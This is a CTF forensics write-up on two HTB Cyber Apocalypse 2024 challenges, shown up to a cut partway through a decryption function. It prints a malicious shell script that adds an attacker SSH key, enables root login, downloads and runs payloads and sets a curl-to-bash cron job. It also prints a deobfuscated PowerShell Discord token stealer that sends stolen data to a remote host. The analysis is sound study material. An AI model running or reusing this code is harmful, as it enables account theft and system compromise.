HTB Cyber Apocalypse CTF 2024

It Has Begun Link to heading

Description. In the shadow of The Fray, a new test called ““Fake Boost”” whispers promises of free Discord Nitro perks. It’s a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.

Category: Forensics

Difficulty: Very Easy

Flag: HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}

In this challenge, we have been provided with a .sh file called script.sh. In summary, this script adds a SSH key to root’s authorized_keys file in order to gain persistence. Also, modifies the /etc/ssh/sshd_config file in order to permit root login. Then, kill some processes and identifies the host architecture. Finally, downloads and executes some apparently malicious files.

This type of files are commonly used in automated attacks (like cryptojacking campaigns and botnets). You can depoloy an SSH honeypot and try to find this kind of files.

#!/bin/sh

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
    exit
fi

if [ "$EUID" -ne 0 ]; then
    exit
fi

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
  exit
fi


cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

At the end of the SSH key, we find a string which appears to be in the format of a flag but reversed.

With echo and rev we can reverse the string in order to reveal one part of the flag.

Now, this type of files often uses some form of Base64 encoding to obfuscate commands or data inside the file. For this reason, the other place to look at is the bash -c command near the end of the file.

And finally, with echo and base64 -d we can decode the other part of the flag.

Fake Boost Link to heading

Description. The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.

Category: Forensics

Difficulty: Very Easy

Flag: HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

For this challenge, we are given a .pcapng file called capture.pcapng that we can open with Wireshark to analyze it. Let’s start by checking the Protocol Hierarchy Statistics.

We can see that there is not much HTTP traffic, so we can filter all the other protocols for now and start our analysis.

Based on the results, now we can export HTTP objects from the capture to conduct furder analysis.

First, let’s analyze the freediscordnitro file, which is a obfuscated PowerShell script.

$jozeq3n = "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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1W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" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;

To deobfuscate the script, we need to analyze what is actually doing. First, it defines a variable called $jozeq3n. The variable apparently stores a Base64 encoded string. Next, another variable is defined called $s0yAY2gmHVNFd7QZ. The most interesting part is that after converting the string stored in $jozeq3n to a characters array, it reverse it.

[array]::Reverse($s0yAY2gmHVNFd7QZ)

The rest of the code is used to execute the script encoded in the Base64 string. With echo, rev, and base64 -d we can decode the content of the variable $jozeq3n. This results in the following PowerShell script:

$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
    param (
        [string]$path
    )

    $tokens = @()

    try {
        Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {
            
            try {
                $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop

                foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                    $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                        $_.Matches.Value
                    }
                }
            } catch {}
        }
    } catch {}

    return $tokens
}

function GenerateDiscordNitroCodes {
    param (
        [int]$numberOfCodes = 10,
        [int]$codeLength = 16
    )

    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    $codes = @()

    for ($i = 0; $i -lt $numberOfCodes; $i++) {
        $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
        $codes += $code
    }

    return $codes
}

function Get-DiscordUserInfo {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true)]
        [string]$Token
    )

    process {
        try {
            $Headers = @{
                "Authorization" = $Token
                "Content-Type" = "application/json"
                "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
            }

            $Uri = "https://discord.com/api/v9/users/@me"

            $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
            return $Response
        }
        catch {}
    }
}

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

Write-Host "
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___ 
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/
                                                                                                         
                                                                                                         "
Write-Host "Generating Discord nitro keys! Please be patient..."

$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

$paths = @{
    'Google Chrome' = "$local\Google\Chrome\User Data\Default"
    'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
    'Opera' = "$roaming\Opera Software\Opera Stable"
    'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}

$headers = @{
    'Content-Type' = 'application/json'
    'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

$allTokens = @()
foreach ($platform in $paths.Keys) {
    $currentPath = $paths[$platform]

    if (-not (Test-Path $currentPath -PathType Container)) {continue}

    $tokens = Steal -path $currentPath
    $allTokens += $tokens
}

$userInfos = @()
foreach ($token in $allTokens) {
    $userInfo = Get-DiscordUserInfo -Token $token
    if ($userInfo) {
        $userDetails = [PSCustomObject]@{
            ID = $userInfo.id
            Email = $userInfo.email
            GlobalName = $userInfo.global_name
            Token = $token
        }
        $userInfos += $userDetails
    }
}

$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload

try {
    $headers = @{
        'Content-Type' = 'text/plain'
        'User-Agent' = 'Mozilla/5.0'
    }
    Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}

Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }

The first point of interest is the variable $part1 which appears to be a string encoded in Base64. So, we can decoded with echo and base64 -d to notice that is one part of the flag.

Another interesting parts of the script are the following functions:

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

In short, these functions are used to encrypt text with the AES encryption algorithm using a 256 bits key and a block size of 128 bits. Also, they encode in Base64 the encrypted text. Because the key is hard-coded in the script. We can use this key and try to decrypt the text inside the rj1893rj1joijdkajwda

"bEG+rGcRyYKeqlzXb0QVVRvFp5E9vmlSSG3pvDTAGoba05Uxvepwv++0uWe1Mn4LiIInZiNC/ES1tS7Smzmbc99Vcd9h51KgA5Rs1t8T55Er5ic4FloBzQ7tpinw99kC380WRaWcq1Cc8iQ6lZBP/yqJuLsfLTpSY3yIeSwq8Z9tusv5uWvd9E9V0Hh2Bwk5LDMYnywZw64hsH8yuE/u/lMvP4gb+OsHHBPcWXqdb4DliwhWwblDhJB4022UC2eEMI0fcHe1xBzBSNyY8xqpoyaAaRHiTxTZaLkrfhDUgm+c0zOEN8byhOifZhCJqS7tfoTHUL4Vh+1AeBTTUTprtdbmq3YUhX6ADTrEBi5gXQbSI5r1wz3r37A71Z4pHHnAoJTO0urqIChpBihFWfYsdoMmO77vZmdNPDo1Ug2jynZzQ/NkrcoNArBNIfboiBnbmCvFc1xwHFGL4JPdje8s3cM2KP2EDL3799VqJw3lWoFX0oBgkFi+DRKfom20XdECpIzW9idJ0eurxLxeGS4JI3n3jl4fIVDzwvdYr+h6uiBUReApqRe1BasR8enV4aNo+IvsdnhzRih+rpqdtCTWTjlzUXE0YSTknxiRiBfYttRulO6zx4SvJNpZ1qOkS1UW20/2xUO3yy76Wh9JPDCV7OMvIhEHDFh/F/jvR2yt9RTFId+zRt12Bfyjbi8ret7QN07dlpIcppKKI8yNzqB4FA=="

For simplicity, we can write this function in PowerShell. It is important to add an instruction to the decode from Base64 the text before anything else.

function Decrypt-String($key, $encryptedText) {
    $encryptedBytes = [System.Convert]::FromBase64String($encryptedText)
    $aesManaged = Create-AesManagedObject $key
